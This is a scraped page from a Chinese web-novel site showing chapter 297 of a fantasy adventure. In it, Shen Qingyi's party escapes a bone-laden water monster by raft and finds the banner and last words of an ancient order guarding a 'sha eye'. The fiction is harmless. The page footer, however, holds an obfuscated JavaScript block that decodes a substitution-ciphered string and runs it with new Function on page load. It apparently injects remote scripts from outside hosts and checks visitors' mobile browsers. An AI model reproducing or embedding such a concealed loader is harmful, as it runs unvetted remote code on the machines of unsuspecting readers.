首页
第297章 盟旗初立
返回
关灯 护眼:关 字号:小

第297章 盟旗初立

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    第297章盟旗初立(第1/2页)
    白骨!活的!
    护卫惊惶的呼喊在幽闭的石室中回荡,带着冰冷的恐惧,让本就凝重的气氛瞬间降至冰点。苏挽月立刻示意噤声,与林慕贤交换了一个眼神。沈清猗心头也是一紧,但她强迫自己冷静下来,快步走到那护卫身前,低声问:“怎么回事?说清楚,什么白骨?什么活的?”
    那护卫脸色苍白,惊魂未定,喘着粗气,指着暗河下游方向的黑暗:“属下……属下沿着暗河往下走,大约一炷香的时间,河道变宽,汇入一个不小的水潭。水潭幽深,看不到底,四周是天然的岩石。属下本想探查有无出路,却看见水潭边散落着许多白骨!人的骸骨!看腐烂程度,有旧有新。属下心中惊疑,正想靠近细看,那水潭里……水潭里突然有黑影游过,很大,速度极快,撞得潭边白骨哗啦作响,而且……而且属下好像看到,那黑影身上,缠着、挂着更多的骨头!”
    活的,能在水中游动,还缠绕着人骨的东西?沈清猗背脊发凉。这幽深的地下暗河,竟然还栖息着食人的怪物?是巨蟒?怪鱼?还是什么更诡异的东西?
    “你看清了那东西的样子吗?”苏挽月沉声问,手中木杖已悄然握紧。
    护卫摇头:“太快了,没看清,只看到黑乎乎一大团影子,感觉……不像是寻常大鱼,那形状有些古怪。而且,那水潭似乎是尽头,三面都是石壁,只有我们来路这一条水道,再就是水潭上方极高处,似乎有极细微的光透下,但岩壁光滑如镜,根本不可能攀爬。”
    前有诡异水潭怪物,后有追兵可能找到岩缝入口。他们被困在了这地下石室,进退维谷。
    “上游呢?你刚才去看的上游方向如何?”林慕贤问另一名之前探过上游短距离的护卫。
    那护卫摇头:“上游方向狭窄,水流较急,走了不远就被彻底堵死了,是塌方的碎石和淤泥,人力短时间内绝难挖通。”
    唯一的通路,似乎只剩下游那充满未知凶险的水潭。
    所有人的目光都看向了沈清猗。朱常瀛的警告言犹在耳,地宫是陷阱,生机在别处。可眼下,他们连这地下暗河都未必走得出去。
    沈清猗深吸一口气,冰冷的空气让她肺叶微痛,却也让她更加清醒。绝境之中,慌乱无用,必须做出决断。她看向苏挽月:“苏姨,以你之见,那水潭中的东西,可能是什么?有无应对之法?”
    苏挽月眉头紧锁,思索片刻道:“地下暗河,经年不见天日,能存活之物,要么是盲眼小鱼小虾,要么就是些适应黑暗的阴邪之物。以这护卫描述,体积不小,还能拖动骸骨,绝非善类。可能是某种变异的大鲵(娃娃鱼),或是被阴煞之气浸染的水兽,甚至……可能是被人为放养在此的守墓或守卫之物。我南疆有驭虫驱兽之术,但对此等水下异兽,所知不多。不过,万物相生相克,既是阴邪水兽,多半畏火、畏强光、畏阳刚炽烈之气。我们可以试试用火把,或者……”她看向自己手中的木杖,“我这法杖蕴含南疆灵木生机,或许能对其有所克制,但水中交战,我并无把握。”
    “用火。”沈清猗果断道,“我们还有多少火折子?能否多做几支火把?这石室里有旧木板,可以拆了做火把。另外,将所剩不多的烈酒也准备好,必要时可以制造火焰阻隔或投掷。”
    她思路清晰起来。畏惧,但不能被恐惧支配。父亲教导过,越是绝境,越要冷静分析,利用手头一切可利用的资源。
    “清猗,你是想强闯水潭?”林慕贤忧心忡忡,“殿下和陆擎行动不便,那水潭若有古怪,如何过去?”
    沈清猗目光扫过石室。暗河在此处石室汇聚,水流平缓,水面宽约丈余,深浅不知。但既然有暗河,就一定有出口,否则水流无法循环。下游水潭是三面石壁,但护卫说高处有微光,说明并非完全封闭,很可能有裂隙或孔洞通向外界,只是太高无法攀爬。如果能解决水潭中的威胁,或许可以借助水道,寻找其他出口,甚至……那高处透光之处,未必没有文章。
    “不一定要从水潭直接游过去。”沈清猗目光落在那些腐朽的旧木板上,又看向暗河水流,“我们可以扎一个简易的木筏。用这些旧木板,加上我们随身携带的绳索、衣物,应该能扎一个勉强承载几人的筏子。苏姨,你的巫术能否驱散或暂时惊走那水兽?我们乘筏快速通过水潭,不与之纠缠,目标是找到水潭的其他出口,或者攀上高处有光的地方。”
    苏挽月眼睛一亮:“可行!木筏目标大,移动快,只要我们备好火把,我再以术法威慑,快速通过,那水兽未必敢立刻攻击。只是扎筏需要时间,而且,我们必须确保筏子足够牢固。”
    “事不宜迟,立刻动手。”沈清猗当机立断,“林叔叔,你继续照看殿下和陆大哥。两位大哥,还有苏姨,我们一起来扎筏。将能用的木板都收集起来,绳索不够就用藤蔓、撕开的衣带。”
    众人不再多言,立刻行动起来。那两名护卫虽是武人,但常年行走江湖,扎个简易筏子不在话下。苏挽月用随身的匕首帮忙切割、固定。沈清猗则在一旁打下手,同时警惕地倾听着下游方向可能传来的异动,并不断观察朱常瀛和陆擎的情况。
    时间在紧张忙碌中流逝。石室中只有工具摩擦、木板碰撞和暗河潺潺的水声。朱常瀛依旧昏迷,气息微弱,但林慕贤用金针和药物勉强吊住了他一线生机。陆擎的情况相对稳定,苏挽月的本命蛊似乎暂时压制住了毒性蔓延。
    很快,一个由旧木板、绳索、撕开的衣物和藤蔓捆扎成的、勉强可容四五人的简易木筏成型了。虽然粗糙,但看起来足以浮在水面。众人又将仅剩的几根较完整的木板削尖,作为简陋的船桨和防身武器。火把做了四支,浸了随身携带的一点灯油,燃烧时间有限,但关键时刻足以照明和驱兽。一小皮囊烈酒也被小心绑好。
    “准备出发。”沈清猗最后检查了一遍随身物品,父亲染血的笔记、玉佩、朱常瀛那块染血的锦帕,都贴身藏好。她看了一眼昏迷的朱常瀛和陆擎,心中默默道:一定要带你们出去。
    苏挽月站在木筏最前,手持燃烧的火把和泛着幽绿光芒的木杖。沈清猗和林慕贤小心地将朱常瀛、陆擎抬上木筏中间,用衣物和绳索尽量固定,避免落水。两名护卫一前一后,手持火把和削尖的木棍,准备划水和警戒。
    “走!”苏挽月低喝一声,用木棍将木筏推离石室边缘。木筏微微一沉,随即稳稳浮在水面。两名护卫开始用简陋的船桨(其实就是扁平的木板)划水,木筏缓缓驶入下游的黑暗水道。
    火把的光芒只能照亮周围数尺范围,暗河两侧是湿滑的岩壁,头顶是低矮的、不时有水滴落的岩顶。水声在狭窄的通道中被放大,更添·阴森。所有人都屏息凝神,紧握武器,警惕地注视着漆黑的水面。
    越往下,河道逐渐变宽,水流也愈加平缓。空气中那股陈腐的土腥气中,开始混杂一丝淡淡的、难以言喻的腥味,像是水草腐烂,又像是……动物尸体。
    突然,前方划水的护卫动作一僵,压低声音道:“前面有光!是水潭!”
    众人精神一振,随即心又提了起来。只见前方水道尽头,豁然开朗,是一个比石室大了数倍不止的天然洞窟。洞窟中央,是一个方圆十余丈的幽深水潭,潭水漆黑如墨,深不见底。水潭对面和左右两侧,是陡峭光滑的岩壁,高不见顶。而在水潭正上方的极高处,岩顶似乎有裂隙,透下几缕极其微弱、几乎难以察觉的天光,若非在绝对的黑暗中,根本看不见。这大概就是护卫所说的“极高处有光”。
    而水潭边的景象,则让众人倒吸一口凉气。靠近水面的岩石上,散落着不少白森森的骸骨!有人骨,也有兽骨,有些已经风化,有些还挂着残破的衣物碎片。整个水潭边,弥漫着一股死亡的气息。
    “小心!”苏挽月突然厉声示警,手中木杖绿光大盛,指向水潭某处。
    只见幽深的潭水深处,一道巨大的黑影缓缓浮现,无声无息,如同蛰伏的恶魔。黑影极其庞大,粗略估计至少有丈余长,形状古怪,不像鱼,也不像常见的水兽,身体似乎有些扁平,边缘隐约可见类似肢体的凸起,周身缠绕着缕缕黑气,更骇人的是,其身体表面,真的“挂”着不少白骨,随着它的上浮,白骨碰撞,发出轻微的咔哒声。
    “这是什么怪物?!”一名护卫声音发颤。
    那黑影似乎被火把的光芒和木筏的动静惊动,在水中调整方向,一对隐藏在黑暗中的、闪烁着幽幽红光的眸子,锁定了木筏。一股阴冷、嗜血的气息弥漫开来。
    “别停!加速划过去!目标,正前方岩壁,靠近天光下方!”沈清猗强压心悸,急声道。她注意到,那几缕天光正下方,水潭边缘的岩壁,颜色似乎与周围略有不同,而且,那里散落的白骨似乎最少。
    (本章未完,请点击下一页继续阅读)第297章盟旗初立(第2/2页)
    护卫咬牙,拼命划动“船桨”。木筏速度加快,向着水潭对面冲去。
    那黑影动了!没有惊天动地的水声,只是庞大的身躯在水中灵巧地一摆,便以极快的速度,悄无声息地向着木筏逼近!距离拉近,众人看得更清楚,那怪物身躯扁平宽大,覆盖着黑灰色的、滑腻的、仿佛皮革般的皮肤,身侧有数对粗短有力的类似鳍或足的东西,头部扁平,口器巨大,露出森白交错的利齿,眼中红光闪烁,确实不似已知的任何水中生物,倒像是从上古传说中爬出的异兽。
    “滚开!”苏挽月娇叱一声,手中木杖向前一指,顶端幽光骤然大亮,化作数道碧绿的流光,如同灵蛇般射向那水怪。同时,她咬破舌尖,一口精血喷在木杖上,杖身绿光中隐隐泛起血色,气势更盛。
    碧绿流光击中水怪身体,发出嗤嗤的声响,仿佛冷水滴入热油。水怪发出一声沉闷的、如同牛哞又似婴啼的怪叫,身体表面被击中的地方冒出缕缕黑烟,动作明显一滞,眼中红光大盛,显然被激怒了。
    “火把!扔!”沈清猗看准时机,从一名护卫手中接过一支燃烧的火把,用尽全力向水怪前方水面掷去。另一名护卫也将火把扔出。
    火焰落入漆黑的潭水,并未立刻熄灭,反而因为水面可能漂浮的油脂(来自腐烂物?)而短暂燃烧起来,形成一片火墙,虽然范围不大,但光芒和热量显然让那畏火的水怪感到不适,它发出一声愤怒的嘶鸣,向后退缩了些许,避开火焰。
    木筏趁机又向前冲了一段距离,离那处天光下的岩壁越来越近。但水怪显然不愿放弃到嘴的猎物,它庞大的身躯在水中灵活地划了个弧线,绕过燃烧的水面,从侧后方再次逼近,速度更快!
    “小心后面!”断后的护卫怒吼,将手中削尖的木棍狠狠刺向水怪张开的大口。水怪猛地一摆头,木棍刺在它粗糙的皮肤上,只留下一个白点,便被弹开。那护卫反被震得手臂发麻。
    苏挽月再次施法,绿光化作道道绳索,试图缠绕束缚水怪,但水怪力量巨大,在水中更是灵活无比,轻易便挣脱了绿光束缚,巨口张开,带着腥风,狠狠咬向木筏尾部!
    就在这千钧一发之际,木筏终于冲到了天光正下方的岩壁附近。沈清猗一直在观察,此刻看得分明,那岩壁颜色略浅,并非整体,而是一块巨大的、与周围岩体略有不同的石板!石板表面似乎有模糊的刻痕,而在石板与水面相接的下方,隐约可见一个黑黢黢的洞口,约半人高,被水流半掩着!
    “那里!水下有洞口!”沈清猗急喊。
    与此同时,水怪巨口已至,腥风扑鼻!苏挽月面色惨白,显然连续施法损耗极大,但她眼神一厉,竟是要不顾一切再次催动秘法硬撼。
    “用这个!”林慕贤急中生智,将那一小皮囊烈酒用尽全力掷向水怪张开的大口,同时将手中燃烧的火把也扔了过去!
    皮囊在空中破裂,烈酒泼洒而出,遇到火把的火焰,轰的一声,在水怪面前爆开一团耀眼的火球!虽然大部分火焰瞬间被潭水吞没,但这突如其来的烈焰和高温,还是让水怪发出一声痛苦的嘶鸣,下意识地闭上了巨口,向后缩去。
    木筏借着这一阻之势,狠狠撞在那块石板上,发出沉闷的响声。沈清猗被震得几乎摔倒,她死死抓住木筏边缘,目光迅速扫过石板。只见石板表面,刻着一个模糊的、似乎是个门的图案,而在图案中心,有一个凹槽,形状……有些眼熟。
    来不及细看,水怪受挫,更加狂怒,再次扑来!
    “弃筏!下水!钻进那个洞口!”苏挽月当机立断,率先跳入冰冷的潭水中,向那半掩在水下的洞口游去。沈清猗和林慕贤也毫不犹豫,合力将朱常瀛和陆擎从木筏上推下水(用绳索绑在木筏上,避免沉没),然后自己也跳入水中,奋力拖着二人向洞口游去。两名护卫则奋力用木棍和火把驱赶再次逼近的水怪,为众人争取时间。
    潭水冰冷刺骨,沈清猗一入水便打了个寒颤,但她咬紧牙关,拖着绑着朱常瀛的木筏残骸(已散架一部分),拼命向那洞口游去。洞口狭窄,仅容一人通过,且在水下半尺,必须潜水。
    苏挽月第一个潜下去,钻入洞口,随即伸手出来帮忙拉扯。林慕贤和护卫也陆续潜入。沈清猗将绑着朱常瀛和陆擎的绳索交给苏挽月,自己最后看了一眼那狂怒扑来的水怪,深吸一口气,猛地扎入水下,钻进了那个幽深的洞口。
    洞口内一片漆黑,水流湍急,似乎是个向上的斜坡水道。沈清猗憋着气,被水流裹挟着,身不由己地向上冲去。黑暗中,她感觉自己的头似乎撞到了什么,一阵眩晕,随即眼前一亮,竟然冲出了水面!
    “咳咳……”她剧烈咳嗽着,吐出呛入的污水,发现自己身处一个不大的、充满空气的洞穴中,洞穴一侧有出口,透进天光。苏挽月、林慕贤和护卫们都在,正奋力将昏迷的朱常瀛和陆擎拖上岸。木筏已经彻底散架,但人总算都安全进来了。
    “快,离开水里!”苏挽月脸色苍白如纸,嘴角溢出鲜血,显然刚才强行施法伤了元气。众人手忙脚乱地将朱常瀛和陆擎拖到干燥处,沈清猗也爬上岸,瘫倒在地,剧烈喘息。
    水下洞口外,传来水怪不甘的撞击声和嘶鸣,但洞口狭窄,它庞大的身躯无法进入,只能在外徘徊怒啸,声音在洞穴中回荡,令人心悸。
    暂时安全了。但众人心有余悸,那水怪太过骇人,若非那烈酒火攻和洞口逃遁,恐怕已葬身怪腹。
    沈清猗喘息稍定,目光落在这个洞穴上。洞穴不大,似乎是天然形成,有明显的人工修整痕迹,地面平整,洞壁有开凿的痕迹。而在洞穴一侧,靠近出口的位置,她看到了令人震惊的东西——
    那是一面倚靠在洞壁上的、残破不堪的旗帜。旗帜底色已不可辨,但上面用金线绣着的图案,虽然褪色残破,却依旧能辨认出大概轮廓——那是一条盘绕的、似龙非龙、似蟒非蟒的生物,背景是山川星辰,而在旗帜的一角,绣着几个几乎磨灭的古篆小字。
    沈清猗走近细看,借着洞口透入的天光,艰难地辨认着那几个字:
    “镇……煞……盟……”
    而在旗帜下方,散落着一些腐朽的兵器、甲胄碎片,以及几具早已化作白骨的尸骸。尸骸的姿势各异,有的持兵器作战斗状,有的相互搀扶,有的靠壁而坐,似乎是在此地坚守,直至最后时刻。
    镇煞盟?这是什么?沈清猗心中剧震。从未听说过历史上有这样一个组织。看这旗帜、兵甲样式,绝非本朝之物,甚至可能更加古老。他们为何会在此地?守护什么?又因何全军覆没?
    她的目光,不由自主地投向洞穴中央。那里有一个简陋的石台,石台上,放着一个巴掌大小的、非金非玉的黑色匣子。匣子表面布满灰尘,但保存完好,上面似乎也有纹路。
    而在石台旁边的洞壁上,有人以利器刻下数行字迹,笔迹潦草,甚至有些字迹被后来生长的苔藓覆盖,但大致可辨:
    “天柱倾,地维绝,煞气冲霄,人如草芥。吾等奉命,镇守于此,封绝渊眼,以保神州。然人力有穷,天数难违,封印渐弛,煞眼将醒。后继者若见此旗,当知吾道不孤。黑匣之中,留有盟主遗训及信物,持之可号令残部,共抗大劫。切记,煞眼不封,天下不宁;薪火不灭,人族不亡。镇煞盟第七十三代守旗使,绝笔。”
    字迹到此为止,最后几字几乎难以辨认,透着一股悲壮与决绝。
    沈清猗怔怔地看着这面残破的“镇煞盟”旗,看着那些守护到死的骸骨,看着石台上的黑匣,看着洞壁上的绝笔遗言。一股难以言喻的悲怆与震撼,涌上心头。
    父亲沈炼探索“潜龙渊”,留下“人瘟”记载,试图“补天之隙”。而这“镇煞盟”,似乎更早之前,就在此地,以血肉之躯,镇守着那所谓的“渊眼”、“煞眼”!他们失败了,全军覆没,但留下了旗帜,留下了遗言,留下了……信物。
    “镇煞盟……镇守渊眼……黑匣信物……可号令残部……”沈清猗低声念着,心中掀起了惊涛骇浪。父亲是否知道“镇煞盟”的存在?他留下的线索,与这“镇煞盟”的遗言,是否有关联?朱常瀛说,真正生机“在别处”,难道指的就是这里?这黑匣中的“信物”,就是关键?
    她走到石台前,伸手拂去黑匣上的灰尘。匣子入手冰凉沉重,不知是何材质。匣子没有锁,只有一个简单的卡扣。她看了一眼苏挽月和林慕贤,两人也正震惊地看着洞中一切。
    沈清猗深吸一口气,轻轻按下了卡扣。
    “咔嗒”一声轻响,黑匣,开了。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();